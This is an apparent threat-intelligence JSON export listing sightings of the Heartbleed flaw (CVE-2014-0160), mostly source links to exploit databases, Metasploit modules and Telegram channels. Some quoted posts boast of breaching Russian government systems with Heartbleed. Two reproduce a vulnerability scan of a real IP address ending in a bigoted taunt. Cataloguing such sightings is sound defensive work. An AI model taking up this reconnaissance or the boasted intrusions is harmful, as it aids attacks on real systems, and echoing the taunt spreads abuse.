{"vulnerability": "cve-2014-0160", "sightings": [{"uuid": "3f7364ae-0d3f-408e-a155-2a539b5bf443", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "MISP/5b646948-f79c-46e8-a53f-32abc0a8ab16", "content": "", "creation_timestamp": "2018-08-03T14:41:08.000000Z"}, {"uuid": "b4a96de6-b653-4d81-b93c-598619562d6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2023-06-14T21:10:03.000000Z"}, {"uuid": "9751b63d-90c9-4cff-a119-bb97582f6977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971539", "content": "", "creation_timestamp": "2024-12-24T20:30:51.263903Z"}, {"uuid": "82b03ff6-eda9-41c4-a274-2c801d2bfa58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://bsky.app/profile/postwait.lethargy.org/post/3lfsccvzgqg2r", "content": "", "creation_timestamp": "2025-01-15T17:33:02.440828Z"}, {"uuid": "d3df70a0-c700-41dc-b97f-edd3591d2d16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:41.000000Z"}, {"uuid": "961a2cb9-21d9-4a82-8d5f-0848fbd4ee66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2014-0160", "type": "seen", "source": "https://gist.github.com/zx0r/bcefa42ec1e60a0bc721a5c4175dab15", "content": "", "creation_timestamp": "2025-02-03T15:09:47.000000Z"}, {"uuid": "ff68ca21-02a0-464c-b7cb-6ea6effe55c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://gist.github.com/skowro/c5cd84464b6c73fd4b2cf7d73eafa439", "content": "", "creation_timestamp": "2025-02-24T09:26:44.000000Z"}, {"uuid": "9e7a1809-deba-47a8-9fef-304ca1bba98c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://gist.github.com/meez-111/0f979dad0fe31a6284f2476e9ea5c9a2", "content": "", "creation_timestamp": "2025-03-15T17:07:38.000000Z"}, {"uuid": "3f392ed2-f2ae-46b4-a9ab-fdb85892d6e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:05.000000Z"}, {"uuid": "1a8390a1-b0ce-49b7-9404-b5c4c895beec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:09:24.000000Z"}, {"uuid": "5b228da1-90d4-4cf6-845c-22c5ae0237ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2014-0160", "type": "seen", "source": "https://gist.github.com/Darksidesfear/38c018e6fb7a2a84e08d472725ae3985", "content": "", "creation_timestamp": "2025-05-10T20:42:08.000000Z"}, {"uuid": "d64b1d66-9870-44f7-b696-3ede72839695", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://gist.github.com/coffnix/df7fa5023fb4a4a97fb76ab4f444f769", "content": "", "creation_timestamp": "2025-09-20T10:56:16.000000Z"}, {"uuid": "1f22b8db-76f3-45c2-b1ac-d8aa39f836aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-ff092a2d-74da938af512e8d7", "content": "", "creation_timestamp": "2025-10-09T06:46:29.456530Z"}, {"uuid": "44a42a7e-035c-4e62-a3a1-6e7e861634d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://gist.github.com/nunesfb/3ae04f694040b1e2c4712833771dd653", "content": "", "creation_timestamp": "2025-09-11T18:20:38.000000Z"}, {"uuid": "e1736158-4b7c-4e7e-a715-e38a00bd5884", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://gist.github.com/Flamm87/8eab7dd11c69757fc0fdc2a4398543b0", "content": "", "creation_timestamp": "2025-09-30T13:36:49.000000Z"}, {"uuid": "bb907228-1145-44f6-b402-ea273a061e1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:05.000000Z"}, {"uuid": "704dd324-9586-4f9a-a4e9-bdb33fac888a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/server/openssl_heartbeat_client_memory.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "4742e048-1e3e-4f08-a358-38ae22ad9c0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "37a901b1-c3e5-4c0a-9b55-4ff44e2616dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3m3jaji3kkw2k", "content": "", "creation_timestamp": "2025-10-19T02:21:13.845609Z"}, {"uuid": "d1cf0bd7-0fc6-4d76-898f-03047689c24e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://gist.github.com/aw-junaid/570136d2d565f609378c26e32014e52e", "content": "", "creation_timestamp": "2026-02-13T15:20:11.000000Z"}, {"uuid": "4c647d35-40d0-448e-aa2f-40fc220fc791", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://gist.github.com/aw-junaid/9f4a67eb2ab569d724a8a8910d2e972f", "content": "", "creation_timestamp": "2026-03-01T01:43:27.000000Z"}, {"uuid": "fc66095b-d8bc-4258-bdac-df38c3d21abf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://gist.github.com/alon710/62eb2689b8a48ab3a2c88e89b05a5d01", "content": "", "creation_timestamp": "2026-01-24T22:43:51.000000Z"}, {"uuid": "509ae691-b701-4701-95ae-93bacc74da1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/1eafb973-0230-430e-a71c-062c16b78b49", "content": "", "creation_timestamp": "2026-02-02T12:27:48.130156Z"}, {"uuid": "e90b46d2-712d-4a25-96e3-fa15c53a56db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2014-0160", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/32998", "content": "", "creation_timestamp": "2014-04-24T00:00:00.000000Z"}, {"uuid": "b0434c3f-fb15-40ae-9a91-92222af12cd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2014-0160", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/32791", "content": "", "creation_timestamp": "2014-04-10T00:00:00.000000Z"}, {"uuid": "965493ef-06d7-475c-8c3d-d3f2015069a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2014-0160", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/32764", "content": "", "creation_timestamp": "2014-04-09T00:00:00.000000Z"}, {"uuid": "2d34ee50-0440-4f57-b2c7-2c92ef8be7ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2014-0160", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/32745", "content": "", "creation_timestamp": "2014-04-08T00:00:00.000000Z"}, {"uuid": "a22f7399-c24e-4562-a457-96605709ec23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "cd6eba8f-a631-4b9d-a629-0d839048fa94", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://github.com/range42/range42-catalog/tree/main/03_container_layer/docker/_ctf/cve/crypto/openssl/CVE-2014-0160", "content": "", "creation_timestamp": "2026-04-15T13:30:33.158638Z"}, {"uuid": "0ed0d2d1-00f8-4dad-9238-b1fa089bbe0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "Telegram/qn6bp8YUpk0QotLnP9WKGw1cgZ9AzFWXwr3JDEbf_bgSiUY", "content": "", "creation_timestamp": "2025-11-17T15:00:08.000000Z"}, {"uuid": "49940f24-1d54-4cde-8adb-fea5cf3ebd1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "Telegram/Ftk1rbbivPGb7VgW7Tp2b3XMUC9TfIyvsTRdgf-M3y_Yzw", "content": "", "creation_timestamp": "2021-01-21T22:27:12.000000Z"}, {"uuid": "79ebf572-a69a-4f33-8fde-575fc7fa0be6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/itsec_news/1633", "content": "\u200b\u26a1\ufe0f \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432\u0442\u043e\u0440\u0430\u044f \u0437\u0430 \u0432\u0441\u044e \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 OpenSSL.\n\n\ud83d\udcac \u0421\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 OpenSSL \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0438 \u043e \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u044f\u0449\u0435\u043c \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0431\u0443\u0434\u0435\u0442 \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432 \u043d\u043e\u0432\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043f\u0435\u0440\u0432\u0430\u044f \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 6 \u043b\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u0440\u043e\u0435\u043a\u0442\u0430 OpenSSL, \u0432\u0435\u0440\u0441\u0438\u044f 3.0.7 \u0432\u044b\u0439\u0434\u0435\u0442 1 \u043d\u043e\u044f\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430, \u0432 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043a\u0435 \u0441 10:00 \u043f\u043e 14:00 \u043f\u043e \u043c\u043e\u0441\u043a\u043e\u0432\u0441\u043a\u043e\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438. \u0410 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0438\u043c\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (\u0435\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u044e\u0442\u0441\u044f), \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e OpenSSL 3.0 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f. \u042d\u0442\u043e \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 OpenSSL \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 Heartbleed ( CVE-2014-0160 ), \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0432 2014 \u0433\u043e\u0434\u0443.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u043c\u0430\u043d\u0434\u0430 OpenSSL \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u044f\u0449\u0435\u043c \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043e\u043a 1.1.1s, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d \u0432 \u043e\u0434\u0438\u043d \u0434\u0435\u043d\u044c \u0441 OpenSSL 3.0.7.\n\n#OpenSSL #\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2022-10-27T07:09:53.000000Z"}, {"uuid": "81bc9069-e71e-4baf-a19c-ce19d0b3abef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "published-proof-of-concept", "source": "Telegram/JxyyR7DPCkvNqGXHwYf1FM_TYIK_7LUKbzPocNJOIh8q_94", "content": "", "creation_timestamp": "2025-08-05T21:00:04.000000Z"}, {"uuid": "5c155719-e9ae-4d9b-880d-2b4d1a4d859b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://t.me/hackyourmom/11106", "content": "\u0413\u043e\u0441\u0434\u0443\u043c\u0443 \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 \u043e\u0434\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e HeartBleed (CVE-2014-0160, buffer over-read \u0432 OpenSSL). \u041d\u0430 \u0442\u043e \u0447\u0442\u043e\u0431\u044b \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0434\u0435\u043b\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442,  \u043f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u044e \u0440\u043e\u0441\u0441\u0438\u044e \u0438 \u043d\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u0446\u0435\u043b\u0438 \u0443\u0448\u043b\u043e \u0434\u0432\u0430 \u0434\u043d\u044f. \u0422\u043e\u0433\u0434\u0430 \u0436\u0435 \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0426\u041e\u0414 \u0432 \u043e\u0440\u0435\u043d\u0431\u0443\u0440\u0433\u0435, \u0434\u0432\u0430 \u0433\u043e\u0434\u0430 \u0442\u0430\u043c \u043f\u0430\u0441\u043b\u0438\u0441\u044c, \u0434\u0430\u0436\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u043c\u043e\u0433\u0430\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0430\u043c \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c. \u041f\u0440\u0438\u044f\u0442\u043d\u043e \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u044c", "creation_timestamp": "2025-04-09T11:23:31.000000Z"}, {"uuid": "4d8fd154-8ab6-4218-b175-8e49d93ba362", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "Telegram/lWM4zp3Qtyela4UTLEeQ2wf6XunzBaOpoKLl89bgaR7k07I", "content": "", "creation_timestamp": "2025-06-28T03:00:04.000000Z"}, {"uuid": "6cd07c67-e912-4d5a-a108-f85fb6292772", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "Telegram/0gLlv_mVFzvihqG3Fu4_-r3cbz4_y2sUs74l9pU8yc3Raw", "content": "", "creation_timestamp": "2025-04-22T22:07:43.000000Z"}, {"uuid": "cb5106a1-f13b-4347-b215-4bb0cd1d5211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "published-proof-of-concept", "source": "Telegram/iimLBgfveRJNPn8n15oXMCE3voNQwpoaxofI1bBvnb3-u_k", "content": "", "creation_timestamp": "2023-03-23T21:11:10.000000Z"}, {"uuid": "4faf56e9-b1c0-4691-8712-1b15409bed40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "Telegram/EUaP7jB4SgmfBuDVs1nPXqJtL6ZR2v4x1g1wBdzJosiyOMWq", "content": "", "creation_timestamp": "2024-11-10T23:32:42.000000Z"}, {"uuid": "6127b96c-6880-46b6-8f1a-fd98926576d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "Telegram/ZRQIWPKTpQTs7fCGzxrifJL2ocVAtjf44DD0hEBZgo7gJwp8", "content": "", "creation_timestamp": "2024-07-17T15:15:33.000000Z"}, {"uuid": "33f07587-c78e-431d-8570-4efbaa42bba5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "Telegram/yXM1qBXICQgj5KNUmsu9PYrXo6WRUB5Zn-r58X19cjLzRZ5m", "content": "", "creation_timestamp": "2024-08-07T12:36:13.000000Z"}, {"uuid": "6fc6d326-ce13-4a0d-a0ad-8e2d7828b366", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/hex4gon1/908", "content": "====== Running in file batch mode with file=\"hosts/ips.txt\" ======\n\n==========================\n/root/Tools/testssl.sh/testssl.sh --quiet --color 0 -U --warnings=batch 77.81.101.111\n\n\n Start 2024-02-14 22:13:09                -->> 77.81.101.111:443 (77.81.101.111) <<--\n\n rDNS (77.81.101.111):   --\n Service detected:       HTTP\n\n\n Testing vulnerabilities\n\n Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension\n CCS (CVE-2014-0224)                       not vulnerable (OK)\n Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK)\n ROBOT                                     not vulnerable (OK)\n Secure Renegotiation (RFC 5746)           supported (OK)\n Secure Client-Initiated Renegotiation     not vulnerable (OK)\n CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)\n BREACH (CVE-2013-3587)                    no gzip/deflate/compress/br HTTP compression (OK)  - only supplied \"/\" tested\n POODLE, SSL (CVE-2014-3566)               not vulnerable (OK)\n TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention supported (OK)\n SWEET32 (CVE-2016-2183, CVE-2016-6329)    not vulnerable (OK)\n FREAK (CVE-2015-0204)                     not vulnerable (OK)\n DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)\n                                           make sure you don't use this certificate elsewhere with SSLv2 enabled services, see\n                                           https://search.censys.io/search?resource=hosts&virtual_hosts=INCLUDE&q=84359F27151AC6F21A23D865CCD523FADB0B99CE8E33878E67081E5BFF1D759C\n LOGJAM (CVE-2015-4000), experimental      common prime with 2048 bits detected: HAProxy (2048 bits),\n                                           but no DH EXPORT ciphers\n BEAST (CVE-2011-3389)                     TLS1: ECDHE-RSA-AES256-SHA\n                                                 HE-RSA-AES256-SHA\n                                                 CDHE-RSA-AES128-SHA\n                                                 HE-RSA-AES128-SHA\n                                                 ES256-SHA\n                                                 ES128-SHA\n                                           VULNERABLE -- but also supports higher protocols  TLSv1.1 TLSv1.2 (likely mitigated)\n LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches\n Winshock (CVE-2014-6321), experimental    not vulnerable (OK)\n RC4 (CVE-2013-2566, CVE-2015-2808)        no RC4 ciphers detected (OK)\n\n\n Done 2024-02-14 22:15:15 [ 152s] -->> 77.81.101.111:443 (77.81.101.111) <<--\n\nYou got fucked RealitateaTV MOSSAD ISIS, Zionist Bastard \ud83d\ude01", "creation_timestamp": "2024-02-15T03:02:07.000000Z"}, {"uuid": "b3afad0f-c142-4705-a728-87436eb1f0b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/endsodomaofficial/7318", "content": "====== Running in file batch mode with file=\"hosts/ips.txt\" ======\n\n==========================\n/root/Tools/testssl.sh/testssl.sh --quiet --color 0 -U --warnings=batch 77.81.101.111\n\n\n Start 2024-02-14 22:13:09                -->> 77.81.101.111:443 (77.81.101.111) <<--\n\n rDNS (77.81.101.111):   --\n Service detected:       HTTP\n\n\n Testing vulnerabilities\n\n Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension\n CCS (CVE-2014-0224)                       not vulnerable (OK)\n Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK)\n ROBOT                                     not vulnerable (OK)\n Secure Renegotiation (RFC 5746)           supported (OK)\n Secure Client-Initiated Renegotiation     not vulnerable (OK)\n CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)\n BREACH (CVE-2013-3587)                    no gzip/deflate/compress/br HTTP compression (OK)  - only supplied \"/\" tested\n POODLE, SSL (CVE-2014-3566)               not vulnerable (OK)\n TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention supported (OK)\n SWEET32 (CVE-2016-2183, CVE-2016-6329)    not vulnerable (OK)\n FREAK (CVE-2015-0204)                     not vulnerable (OK)\n DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)\n                                           make sure you don't use this certificate elsewhere with SSLv2 enabled services, see\n                                           https://search.censys.io/search?resource=hosts&virtual_hosts=INCLUDE&q=84359F27151AC6F21A23D865CCD523FADB0B99CE8E33878E67081E5BFF1D759C\n LOGJAM (CVE-2015-4000), experimental      common prime with 2048 bits detected: HAProxy (2048 bits),\n                                           but no DH EXPORT ciphers\n BEAST (CVE-2011-3389)                     TLS1: ECDHE-RSA-AES256-SHA\n                                                 HE-RSA-AES256-SHA\n                                                 CDHE-RSA-AES128-SHA\n                                                 HE-RSA-AES128-SHA\n                                                 ES256-SHA\n                                                 ES128-SHA\n                                           VULNERABLE -- but also supports higher protocols  TLSv1.1 TLSv1.2 (likely mitigated)\n LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches\n Winshock (CVE-2014-6321), experimental    not vulnerable (OK)\n RC4 (CVE-2013-2566, CVE-2015-2808)        no RC4 ciphers detected (OK)\n\n\n Done 2024-02-14 22:15:15 [ 152s] -->> 77.81.101.111:443 (77.81.101.111) <<--\n\nYou got fucked RealitateaTV MOSSAD ISIS, Zionist Bastard \ud83d\ude01", "creation_timestamp": "2024-02-15T00:49:09.000000Z"}, {"uuid": "3a1bf6cb-9b04-4cce-8f0c-c1876f473316", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": 